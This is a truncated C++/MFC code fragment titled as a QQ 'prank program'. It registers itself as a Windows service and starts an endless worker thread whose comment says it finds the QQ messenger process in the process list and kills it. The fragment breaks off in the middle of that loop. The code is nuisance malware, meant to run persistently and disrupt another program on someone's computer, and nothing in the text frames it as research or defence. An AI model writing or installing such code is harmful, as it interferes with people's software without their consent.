QQ 恶搞程序 ss.dwServiceType = SERVICE_WIN32; ss.dwCurrentState = SERVICE_START_PENDING; ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE; ss.dwServiceSpecificExitCode = 0; ss.dwWin32ExitCode = 0; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; ssh=RegisterServiceCtrlHandler("Service",Handler); ss.dwCurrentState = SERVICE_RUNNING; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; SetServiceStatus(ssh,&ss); AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能 ss.dwCurrentState = SERVICE_RUNNING; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; SetServiceStatus(ssh,&ss); } //处理服务要求 void WINAPI Handler(DWORD Opcode) { switch(Opcode) { case SERVICE_CONTROL_STOP: ss.dwCurrentState =SERVICE_STOPPED; SetServiceStatus (ssh,&ss); break; case SERVICE_CONTROL_CONTINUE: ss.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (ssh,&ss); break; case SERVICE_CONTROL_PAUSE: ss.dwCurrentState = SERVICE_PAUSED; SetServiceStatus (ssh,&ss); break; case SERVICE_CONTROL_INTERROGATE: break; } SetServiceStatus (ssh,&ss); } //在进程列表中查找 QQ 程序并杀掉的线程函数 UINT KillQQ(LPVOID lParam) { while(1) { m_PEArray.RemoveAll(); HANDLE hProcessSnap=NULL; PROCESSENTRY32 pe32; hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe32.dwSize=sizeof(PROCESSENTRY32); if(::Process32First(hProcessSnap,&pe32)) { do { m_PEArray.Add(pe32); } while(::Process32Next(hProcessSnap,&pe32)); } int i; for(i=0;i